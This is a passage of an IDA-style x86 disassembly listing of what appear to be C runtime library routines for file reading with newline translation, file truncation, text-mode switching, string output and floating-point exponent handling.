--------------------------------------------------------------------------- loc_40CBA3: ; CODE XREF: sub_40C740+480j mov eax, [ebp+arg_8] lea edx, [eax+1] mov [ebp+arg_8], edx mov edx, [ebp+var_8] dec edx mov [ebp+var_8], edx mov dl, [ebp+edx+var_12] add dl, 30h mov [eax], dl loc_40CBBC: ; CODE XREF: sub_40C740+453j ; sub_40C740+461j cmp [ebp+var_8], 0 jg short loc_40CBA3 mov eax, [ebp+arg_0] mov edx, [ebp+arg_8] mov ecx, [eax+1Ch] mov ebx, [eax+10h] add ecx, ebx sub edx, ecx mov [eax+24h], edx loc_40CBD5: ; CODE XREF: sub_40C740+16Bj ; sub_40C740+1E5j ... mov eax, [ebp+arg_0] movzx eax, word ptr [eax+38h] and eax, 14h cmp eax, 10h jnz short loc_40CC18 mov eax, [ebp+arg_0] mov edx, [eax+14h] mov ecx, [eax+1Ch] add edx, ecx mov ecx, [eax+20h] add edx, ecx mov ecx, [eax+24h] add edx, ecx mov eax, [eax+28h] add eax, edx mov [ebp+var_8], eax mov eax, [ebp+arg_0] mov eax, [eax+34h] cmp [ebp+var_8], eax jge short loc_40CC18 mov eax, [ebp+arg_0] mov edx, [eax+34h] sub edx, [ebp+var_8] mov [eax+18h], edx loc_40CC18: ; CODE XREF: sub_40C740+4A2j ; sub_40C740+4CAj pop ebx mov esp, ebp pop ebp retn sub_40C740 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CC20 proc near ; CODE XREF: sub_40BC70+348p ; DMN0:0040CF9Bp var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov ebx, [ebp+arg_0] xor edi, edi mov eax, [ebp+arg_4] mov [ebp+var_C], eax cmp [ebp+arg_8], 0 jz short loc_40CC55 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] test byte ptr [edx+eax+4], 2 jz short loc_40CC5C loc_40CC55: ; CODE XREF: sub_40CC20+18j xor eax, eax jmp loc_40CF45 ; --------------------------------------------------------------------------- loc_40CC5C: ; CODE XREF: sub_40CC20+33j mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] add eax, edx test byte ptr [eax+4], 48h jz short loc_40CCBE cmp byte ptr [eax+5], 0Ah jz short loc_40CCBE mov eax, [ebp+var_C] lea edx, [eax+1] mov [ebp+var_C], edx mov edx, ebx and edx, 1Fh imul edx, 24h mov ecx, ebx sar ecx, 5 mov ecx, dword_41398C[ecx*4] mov dl, [ecx+edx+5] mov [eax], dl inc edi dec [ebp+arg_8] mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] mov byte ptr [edx+eax+5], 0Ah loc_40CCBE: ; CODE XREF: sub_40CC20+56j ; sub_40CC20+5Cj push 0 lea eax, [ebp+var_4] push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+var_C] push eax mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] mov eax, [edx+eax] push eax call dword_411E1C ; ReadFile test eax, eax jnz short loc_40CD2E call dword_411CEC ; RtlGetLastWin32Error mov [ebp+var_10], eax cmp eax, 5 jnz short loc_40CD0F call sub_408730 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp loc_40CF45 ; --------------------------------------------------------------------------- loc_40CD0F: ; CODE XREF: sub_40CC20+DAj cmp [ebp+var_10], 6Dh jnz short loc_40CD1C xor eax, eax jmp loc_40CF45 ; --------------------------------------------------------------------------- loc_40CD1C: ; CODE XREF: sub_40CC20+F3j mov eax, [ebp+var_10] push eax call sub_4085D0 pop ecx or eax, 0FFFFFFFFh jmp loc_40CF45 ; --------------------------------------------------------------------------- loc_40CD2E: ; CODE XREF: sub_40CC20+CCj mov eax, [ebp+var_4] add edi, eax mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] test byte ptr [edx+eax+4], 80h jz loc_40CF43 cmp [ebp+var_4], 0 jz short loc_40CD7D mov eax, [ebp+arg_4] cmp byte ptr [eax], 0Ah jnz short loc_40CD7D mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] lea eax, [edx+eax+4] or byte ptr [eax], 4 jmp short loc_40CD98 ; --------------------------------------------------------------------------- loc_40CD7D: ; CODE XREF: sub_40CC20+136j ; sub_40CC20+13Ej mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] lea eax, [edx+eax+4] and byte ptr [eax], 0FBh loc_40CD98: ; CODE XREF: sub_40CC20+15Bj mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov esi, eax jmp loc_40CF2C ; --------------------------------------------------------------------------- loc_40CDA5: ; CODE XREF: sub_40CC20+313j cmp byte ptr [esi], 1Ah jnz short loc_40CDE9 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] test byte ptr [edx+eax+4], 40h jnz loc_40CF39 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] lea eax, [edx+eax+4] or byte ptr [eax], 2 jmp loc_40CF39 ; --------------------------------------------------------------------------- loc_40CDE9: ; CODE XREF: sub_40CC20+188j cmp byte ptr [esi], 0Dh jz short loc_40CE03 mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov edx, esi inc esi mov dl, [edx] mov [eax], dl jmp loc_40CF2C ; --------------------------------------------------------------------------- loc_40CE03: ; CODE XREF: sub_40CC20+1CCj mov eax, [ebp+arg_4] lea eax, [eax+edi-1] cmp esi, eax jnb short loc_40CE3D cmp byte ptr [esi+1], 0Ah jnz short loc_40CE28 add esi, 2 mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Ah jmp loc_40CF2C ; --------------------------------------------------------------------------- loc_40CE28: ; CODE XREF: sub_40CC20+1F2j mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov edx, esi inc esi mov dl, [edx] mov [eax], dl jmp loc_40CF2C ; --------------------------------------------------------------------------- loc_40CE3D: ; CODE XREF: sub_40CC20+1ECj inc esi mov [ebp+var_10], 0 push 0 lea eax, [ebp+var_4] push eax push 1 lea eax, [ebp+var_11] push eax mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] mov eax, [edx+eax] push eax call dword_411E1C ; ReadFile test eax, eax jnz short loc_40CE7C call dword_411CEC ; RtlGetLastWin32Error mov [ebp+var_10], eax loc_40CE7C: ; CODE XREF: sub_40CC20+251j cmp [ebp+var_10], 0 jnz short loc_40CE88 cmp [ebp+var_4], 0 jnz short loc_40CE99 loc_40CE88: ; CODE XREF: sub_40CC20+260j mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Dh jmp loc_40CF2C ; --------------------------------------------------------------------------- loc_40CE99: ; CODE XREF: sub_40CC20+266j mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] test byte ptr [edx+eax+4], 48h jz short loc_40CEF1 cmp [ebp+var_11], 0Ah jnz short loc_40CEC8 mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Ah jmp short loc_40CF2C ; --------------------------------------------------------------------------- loc_40CEC8: ; CODE XREF: sub_40CC20+298j mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Dh mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] mov cl, [ebp+var_11] mov [edx+eax+5], cl jmp short loc_40CF2C ; --------------------------------------------------------------------------- loc_40CEF1: ; CODE XREF: sub_40CC20+292j mov eax, [ebp+arg_4] cmp eax, [ebp+var_8] jnz short loc_40CF0D cmp [ebp+var_11], 0Ah jnz short loc_40CF0D mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Ah jmp short loc_40CF2C ; --------------------------------------------------------------------------- loc_40CF0D: ; CODE XREF: sub_40CC20+2D7j ; sub_40CC20+2DDj push 1 push 0FFFFFFFFh push ebx call sub_40C180 add esp, 0Ch cmp [ebp+var_11], 0Ah jz short loc_40CF2C mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Dh loc_40CF2C: ; CODE XREF: sub_40CC20+180j ; sub_40CC20+1DEj ... mov eax, [ebp+arg_4] add eax, edi cmp esi, eax jb loc_40CDA5 loc_40CF39: ; CODE XREF: sub_40CC20+1A3j ; sub_40CC20+1C4j mov eax, [ebp+var_8] mov edx, [ebp+arg_4] sub eax, edx mov edi, eax loc_40CF43: ; CODE XREF: sub_40CC20+12Cj mov eax, edi loc_40CF45: ; CODE XREF: sub_40CC20+37j ; sub_40CC20+EAj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40CC20 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ebx push esi mov ebx, [ebp+8] cmp ebx, dword_413A8C jnb short loc_40CF7B mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_40CF8B loc_40CF7B: ; CODE XREF: DMN0:0040CF5Ej call sub_408730 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_40CFAE ; --------------------------------------------------------------------------- loc_40CF8B: ; CODE XREF: DMN0:0040CF79j push ebx call sub_40B010 pop ecx mov eax, [ebp+10h] push eax mov eax, [ebp+0Ch] push eax push ebx call sub_40CC20 add esp, 0Ch mov esi, eax push ebx call sub_40B070 pop ecx mov eax, esi loc_40CFAE: ; CODE XREF: DMN0:0040CF89j pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+0Ch] push eax mov eax, [ebp+8] push eax call sub_40D130 add esp, 8 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CFE0 proc near ; CODE XREF: sub_40BC70+35Fp ; sub_40D130+46p var_1014 = dword ptr -1014h var_1010 = byte ptr -1010h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1014h call sub_407AC0 push ebx push esi push edi mov ebx, [ebp+arg_0] mov [ebp+var_4], 0 push 1 push 0 push ebx call sub_40C180 add esp, 0Ch mov [ebp+var_C], eax cmp eax, 0FFFFFFFFh jz short loc_40D024 push 2 push 0 push ebx call sub_40C180 add esp, 0Ch mov [ebp+var_8], eax cmp eax, 0FFFFFFFFh jnz short loc_40D02C loc_40D024: ; CODE XREF: sub_40CFE0+2Dj or eax, 0FFFFFFFFh jmp loc_40D120 ; --------------------------------------------------------------------------- loc_40D02C: ; CODE XREF: sub_40CFE0+42j mov eax, [ebp+arg_4] mov esi, eax sub esi, [ebp+var_8] test esi, esi jle loc_40D0D1 lea edx, [ebp+var_1010] mov ecx, 1000h xor eax, eax push edi mov edi, edx rep stosb pop edi mov eax, edx push 8000h push ebx call sub_40D570 add esp, 8 mov [ebp+var_10], eax loc_40D062: ; CODE XREF: sub_40CFE0+E0j cmp esi, 1000h jb short loc_40D076 mov [ebp+var_1014], 1000h jmp short loc_40D07E ; --------------------------------------------------------------------------- loc_40D076: ; CODE XREF: sub_40CFE0+88j mov eax, esi mov [ebp+var_1014], eax loc_40D07E: ; CODE XREF: sub_40CFE0+94j mov eax, [ebp+var_1014] push eax lea eax, [ebp+var_1010] push eax push ebx call sub_40AA00 add esp, 0Ch mov edi, eax cmp eax, 0FFFFFFFFh jnz short loc_40D0B8 call dword_411CEC ; RtlGetLastWin32Error cmp eax, 5 jnz short loc_40D0B2 call sub_408730 mov dword ptr [eax], 0Dh loc_40D0B2: ; CODE XREF: sub_40CFE0+C5j or [ebp+var_4], 0FFFFFFFFh jmp short loc_40D0C2 ; --------------------------------------------------------------------------- loc_40D0B8: ; CODE XREF: sub_40CFE0+BAj mov eax, esi sub eax, edi mov esi, eax test eax, eax jg short loc_40D062 loc_40D0C2: ; CODE XREF: sub_40CFE0+D6j mov eax, [ebp+var_10] push eax push ebx call sub_40D570 add esp, 8 jmp short loc_40D10E ; --------------------------------------------------------------------------- loc_40D0D1: ; CODE XREF: sub_40CFE0+56j test esi, esi jge short loc_40D10E push 0 mov eax, [ebp+arg_4] push eax push ebx call sub_40C180 add esp, 0Ch push ebx call sub_40AEF0 pop ecx push eax call dword_411E20 ; SetEndOfFile test eax, eax setnz al and eax, 1 dec eax mov [ebp+var_4], eax cmp eax, 0FFFFFFFFh jnz short loc_40D10E call sub_408730 mov dword ptr [eax], 0Dh loc_40D10E: ; CODE XREF: sub_40CFE0+EFj ; sub_40CFE0+F3j ... push 0 mov eax, [ebp+var_C] push eax push ebx call sub_40C180 add esp, 0Ch mov eax, [ebp+var_4] loc_40D120: ; CODE XREF: sub_40CFE0+47j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40CFE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40D130 proc near ; CODE XREF: DMN0:0040CFCBp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov ebx, [esp+8+arg_0] cmp ebx, dword_413A8C jnb short loc_40D159 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_40D169 loc_40D159: ; CODE XREF: sub_40D130+Cj call sub_408730 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_40D189 ; --------------------------------------------------------------------------- loc_40D169: ; CODE XREF: sub_40D130+27j push ebx call sub_40B010 pop ecx mov eax, [esp+8+arg_4] push eax push ebx call sub_40CFE0 add esp, 8 mov esi, eax push ebx call sub_40B070 pop ecx mov eax, esi loc_40D189: ; CODE XREF: sub_40D130+37j pop esi pop ebx retn sub_40D130 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D190 proc near ; CODE XREF: sub_40C050+EFp ; sub_40C050+100p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] jmp loc_40D24D ; --------------------------------------------------------------------------- loc_40D1A4: ; CODE XREF: sub_40D190+C0j mov eax, [esi+18h] cmp eax, [esi+10h] ja short loc_40D1BF push esi call sub_409230 pop ecx test eax, eax jge short loc_40D1BF or eax, 0FFFFFFFFh jmp loc_40D26F ; --------------------------------------------------------------------------- loc_40D1BF: ; CODE XREF: sub_40D190+1Aj ; sub_40D190+25j test word ptr [esi], 400h jz short loc_40D1D6 push 0Ah push ebx call sub_40D680 add esp, 8 mov [ebp+var_C], eax jmp short loc_40D1DD ; --------------------------------------------------------------------------- loc_40D1D6: ; CODE XREF: sub_40D190+34j mov [ebp+var_C], 0 loc_40D1DD: ; CODE XREF: sub_40D190+44j mov eax, [ebp+var_C] mov [ebp+var_4], eax test eax, eax jz short loc_40D1F2 mov eax, [ebp+var_4] sub eax, ebx inc eax mov [ebp+var_10], eax jmp short loc_40D201 ; --------------------------------------------------------------------------- loc_40D1F2: ; CODE XREF: sub_40D190+55j mov edx, ebx or eax, 0FFFFFFFFh loc_40D1F7: ; CODE XREF: sub_40D190+6Cj inc eax cmp byte ptr [edx+eax], 0 jnz short loc_40D1F7 mov [ebp+var_10], eax loc_40D201: ; CODE XREF: sub_40D190+60j mov edi, [ebp+var_10] mov eax, [esi+18h] mov edx, [esi+10h] sub eax, edx mov [ebp+var_8], eax cmp [ebp+var_8], edi jnb short loc_40D21E mov [ebp+var_4], 0 mov edi, [ebp+var_8] loc_40D21E: ; CODE XREF: sub_40D190+82j push edi push ebx mov eax, [esi+10h] push eax call sub_4079C0 add esp, 0Ch add ebx, edi lea eax, [esi+10h] mov edx, [eax] add edx, edi mov [eax], edx cmp [ebp+var_4], 0 jz short loc_40D24D push esi call sub_409030 pop ecx test eax, eax jz short loc_40D24D or eax, 0FFFFFFFFh jmp short loc_40D26F ; --------------------------------------------------------------------------- loc_40D24D: ; CODE XREF: sub_40D190+Fj ; sub_40D190+ABj ... cmp byte ptr [ebx], 0 jnz loc_40D1A4 test word ptr [esi], 800h jz short loc_40D26D push esi call sub_409030 pop ecx test eax, eax jz short loc_40D26D or eax, 0FFFFFFFFh jmp short loc_40D26F ; --------------------------------------------------------------------------- loc_40D26D: ; CODE XREF: sub_40D190+CBj ; sub_40D190+D6j xor eax, eax loc_40D26F: ; CODE XREF: sub_40D190+2Aj ; sub_40D190+BBj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40D190 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40D280 proc near ; CODE XREF: sub_40C6A0+Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov ebx, [esp+0Ch+arg_4] movzx eax, word ptr [ebx+6] and eax, 7FF0h sar eax, 4 mov si, ax cmp si, 7FFh jnz short loc_40D2D6 mov edx, [esp+0Ch+arg_0] mov word ptr [edx], 0 test word ptr [ebx+6], 0Fh jnz short loc_40D2C2 cmp word ptr [ebx+4], 0 jnz short loc_40D2C2 cmp word ptr [ebx+2], 0 jnz short loc_40D2C2 cmp word ptr [ebx], 0 jz short loc_40D2C9 loc_40D2C2: ; CODE XREF: sub_40D280+2Cj ; sub_40D280+33j ... mov edi, 2 jmp short loc_40D2CE ; --------------------------------------------------------------------------- loc_40D2C9: ; CODE XREF: sub_40D280+40j mov edi, 1 loc_40D2CE: ; CODE XREF: sub_40D280+47j mov ax, di movsx eax, ax jmp short loc_40D31A ; --------------------------------------------------------------------------- loc_40D2D6: ; CODE XREF: sub_40D280+1Bj test si, si jg short loc_40D2EA push ebx call sub_40D6A0 pop ecx mov si, ax test ax, ax jg short loc_40D30F loc_40D2EA: ; CODE XREF: sub_40D280+59j movzx eax, word ptr [ebx+6] and eax, 0FFFF800Fh or eax, 3FE0h mov [ebx+6], ax mov edx, [esp+0Ch+arg_0] mov ax, si sub ax, 3FEh mov [edx], ax or eax, 0FFFFFFFFh jmp short loc_40D31A ; --------------------------------------------------------------------------- loc_40D30F: ; CODE XREF: sub_40D280+68j mov edx, [esp+0Ch+arg_0] mov word ptr [edx], 0 xor eax, eax loc_40D31A: ; CODE XREF: sub_40D280+54j ; sub_40D280+8Dj pop edi pop esi pop ebx retn sub_40D280 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D320 proc near ; CODE XREF: sub_40C6C0+Bp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi mov ebx, [ebp+arg_0] movzx eax, word ptr [ebx+6] and eax, 7FF0h sar eax, 4 mov si, ax cmp si, 7FFh jnz short loc_40D375 test word ptr [ebx+6], 0Fh jnz short loc_40D35E cmp word ptr [ebx+4], 0 jnz short loc_40D35E cmp word ptr [ebx+2], 0 jnz short loc_40D35E cmp word ptr [ebx], 0 jz short loc_40D365 loc_40D35E: ; CODE XREF: sub_40D320+28j ; sub_40D320+2Fj ... mov edi, 2 jmp short loc_40D36A ; --------------------------------------------------------------------------- loc_40D365: ; CODE XREF: sub_40D320+3Cj mov edi, 1 loc_40D36A: ; CODE XREF: sub_40D320+43j mov ax, di movsx eax, ax jmp loc_40D52A ; --------------------------------------------------------------------------- loc_40D375: ; CODE XREF: sub_40D320+20j test si, si jnz short loc_40D390 push ebx call sub_40D6A0 pop ecx mov si, ax test ax, ax jle short loc_40D390 xor eax, eax jmp loc_40D52A ; --------------------------------------------------------------------------- loc_40D390: ; CODE XREF: sub_40D320+58j ; sub_40D320+67j movsx eax, si mov edx, [ebp+arg_4] add eax, edx mov [ebp+arg_4], eax cmp eax, 7FFh jl short loc_40D3D2 test word ptr [ebx+6], 8000h jz short loc_40D3B7 fld dbl_4119E0 fchs fstp [ebp+var_8] jmp short loc_40D3C0 ; --------------------------------------------------------------------------- loc_40D3B7: ; CODE XREF: sub_40D320+88j fld dbl_4119E0 fstp [ebp+var_8] loc_40D3C0: ; CODE XREF: sub_40D320+95j mov eax, [ebp+arg_0] fld [ebp+var_8] fstp qword ptr [eax] mov eax, 1 jmp loc_40D52A ; --------------------------------------------------------------------------- loc_40D3D2: ; CODE XREF: sub_40D320+80j cmp [ebp+arg_4], 0 jle short loc_40D3F8 movzx eax, word ptr [ebx+6] and eax, 0FFFF800Fh mov edx, [ebp+arg_4] movsx edx, dx shl edx, 4 or eax, edx mov [ebx+6], ax or eax, 0FFFFFFFFh jmp loc_40D52A ; --------------------------------------------------------------------------- loc_40D3F8: ; CODE XREF: sub_40D320+B6j mov ax, [ebx+6] and ax, 8000h mov word ptr [ebp+var_8+6], ax movzx eax, word ptr [ebx+6] and eax, 0Fh or eax, 10h mov [ebx+6], ax mov eax, [ebp+arg_4] dec eax mov [ebp+arg_4], eax cmp eax, 0FFFFFFCCh jge short loc_40D43E mov ax, word ptr [ebp+var_8+6] mov [ebx+6], ax mov word ptr [ebx+4], 0 mov word ptr [ebx+2], 0 mov word ptr [ebx], 0 xor eax, eax jmp loc_40D52A ; --------------------------------------------------------------------------- loc_40D43E: ; CODE XREF: sub_40D320+FCj mov eax, [ebp+arg_4] mov word ptr [ebp+var_8+4], ax jmp short loc_40D469 ; --------------------------------------------------------------------------- loc_40D447: ; CODE XREF: sub_40D320+14Ej mov ax, [ebx+2] mov [ebx], ax mov ax, [ebx+4] mov [ebx+2], ax mov ax, [ebx+6] mov [ebx+4], ax mov word ptr [ebx+6], 0 add word ptr [ebp+var_8+4], 10h loc_40D469: ; CODE XREF: sub_40D320+125j cmp word ptr [ebp+var_8+4], 0FFF0h jle short loc_40D447 movsx eax, word ptr [ebp+var_8+4] neg eax mov word ptr [ebp+var_8+4], ax test ax, ax jz loc_40D51F movsx eax, word ptr [ebp+var_8+4] movzx edx, word ptr [ebx] mov ecx, eax sar edx, cl mov dword ptr [ebp+var_8], edx movzx ecx, word ptr [ebx+2] mov [ebp+var_C], ecx mov edx, 10h mov ecx, edx sub ecx, eax mov eax, [ebp+var_C] shl eax, cl mov edx, dword ptr [ebp+var_8] or edx, eax mov ax, dx mov [ebx], ax movsx eax, word ptr [ebp+var_8+4] movzx edx, word ptr [ebx+2] mov ecx, eax sar edx, cl mov [ebp+var_10], edx movzx ecx, word ptr [ebx+4] mov [ebp+var_14], ecx mov edx, 10h mov ecx, edx sub ecx, eax mov eax, [ebp+var_14] shl eax, cl mov edx, [ebp+var_10] or edx, eax mov ax, dx mov [ebx+2], ax movsx eax, word ptr [ebp+var_8+4] movzx edx, word ptr [ebx+4] mov ecx, eax sar edx, cl mov [ebp+var_18], edx movzx ecx, word ptr [ebx+6] mov [ebp+var_1C], ecx mov edx, 10h mov ecx, edx sub ecx, eax mov eax, [ebp+var_1C] shl eax, cl mov edx, [ebp+var_18] or edx, eax mov ax, dx mov [ebx+4], ax movzx eax, word ptr [ebx+6] movsx ecx, word ptr [ebp+var_8+4] sar eax, cl mov [ebx+6], ax loc_40D51F: ; CODE XREF: sub_40D320+15Dj mov ax, word ptr [ebp+var_8+6] or [ebx+6], ax or eax, 0FFFFFFFFh loc_40D52A: ; CODE XREF: sub_40D320+50j ; sub_40D320+6Bj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40D320 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D540 proc near ; CODE XREF: sub_40C740+409p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, ebx mov ecx, esi cdq idiv ecx mov [ebp+var_8], eax mov edx, esi imul edx, eax mov eax, ebx sub eax, edx mov [ebp+var_4], eax mov eax, [ebp+var_8] mov edx, [ebp+var_4] pop esi pop ebx mov esp, ebp pop ebp retn sub_40D540 endp ; =============== S U B R O U T I N E ======================================= sub_40D570 proc near ; CODE XREF: sub_40CFE0+77p ; sub_40CFE0+E7p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov ebx, [esp+8+arg_0] mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] movzx eax, byte ptr [edx+eax+4] mov esi, eax and esi, 80h cmp [esp+8+arg_4], 8000h jnz short loc_40D5C6 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] lea eax, [edx+eax+4] movzx edx, byte ptr [eax] and edx, 0FFFFFF7Fh mov [eax], dl jmp short loc_40D5FD ; --------------------------------------------------------------------------- loc_40D5C6: ; CODE XREF: sub_40D570+2Fj cmp [esp+8+arg_4], 4000h jnz short loc_40D5ED mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] lea eax, [edx+eax+4] or byte ptr [eax], 80h jmp short loc_40D5FD ; --------------------------------------------------------------------------- loc_40D5ED: ; CODE XREF: sub_40D570+5Ej call sub_408730 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp short loc_40D610 ; --------------------------------------------------------------------------- loc_40D5FD: ; CODE XREF: sub_40D570+54j ; sub_40D570+7Bj test esi, esi setnz al and eax, 1 dec eax and eax, 4000h add eax, 4000h loc_40D610: ; CODE XREF: sub_40D570+8Bj pop esi pop ebx retn sub_40D570 endp ; --------------------------------------------------------------------------- align 10h push ebx push esi mov ebx, [esp+0Ch] cmp ebx, dword_413A8C jnb short loc_40D649 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_40D659 loc_40D649: ; CODE XREF: DMN0:0040D62Cj call sub_408730 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_40D679 ; --------------------------------------------------------------------------- loc_40D659: ; CODE XREF: DMN0:0040D647j push ebx call sub_40B010 pop ecx mov eax, [esp+10h] push eax push ebx call sub_40D570 add esp, 8 mov esi, eax push ebx call sub_40B070 pop ecx mov eax, esi loc_40D679: ; CODE XREF: DMN0:0040D657j pop esi pop ebx retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40D680 proc near ; CODE XREF: sub_40D190+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ecx, [esp+4+arg_0] mov eax, [esp+4+arg_4] mov bl, al xor edx, edx loc_40D68D: ; CODE XREF: sub_40D680+19j cmp [ecx], bl jnz short loc_40D693 mov edx, ecx loc_40D693: ; CODE XREF: sub_40D680+Fj cmp byte ptr [ecx], 0 jz short loc_40D69B inc ecx jmp short loc_40D68D ; --------------------------------------------------------------------------- loc_40D69B: ; CODE XREF: sub_40D680+16j mov eax, edx pop ebx retn sub_40D680 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40D6A0 proc near ; CODE XREF: sub_40D280+5Cp ; sub_40D320+5Bp arg_0 = dword ptr 4 push ebx push edi mov ecx, [esp+8+arg_0] mov ax, [ecx+6] mov di, ax and di, 8000h mov bx, 1 mov ax, [ecx+6] and ax, 0Fh mov [ecx+6], ax test ax, ax jnz short loc_40D6DF cmp word ptr [ecx+4], 0 jnz short loc_40D6DF cmp word ptr [ecx+2], 0 jnz short loc_40D6DF cmp word ptr [ecx], 0 jz loc_40D799 loc_40D6DF: ; CODE XREF: sub_40D6A0+25j ; sub_40D6A0+2Cj ... jmp short loc_40D701 ; --------------------------------------------------------------------------- loc_40D6E1: ; CODE XREF: sub_40D6A0+66j mov ax, [ecx+4] mov [ecx+6], ax mov ax, [ecx+2] mov [ecx+4], ax mov ax, [ecx] mov [ecx+2], ax mov word ptr [ecx], 0 sub bx, 10h loc_40D701: ; CODE XREF: sub_40D6A0:loc_40D6DFj cmp word ptr [ecx+6], 0 jz short loc_40D6E1 jmp short loc_40D747 ; --------------------------------------------------------------------------- loc_40D70A: ; CODE XREF: sub_40D6A0+ACj movzx eax, word ptr [ecx+6] add eax, eax movzx edx, word ptr [ecx+4] sar edx, 0Fh or eax, edx mov [ecx+6], ax movzx eax, word ptr [ecx+4] add eax, eax movzx edx, word ptr [ecx+2] sar edx, 0Fh or eax, edx mov [ecx+4], ax movzx eax, word ptr [ecx+2] add eax, eax movzx edx, word ptr [ecx] sar edx, 0Fh or eax, edx mov [ecx+2], ax shl word ptr [ecx], 1 dec bx 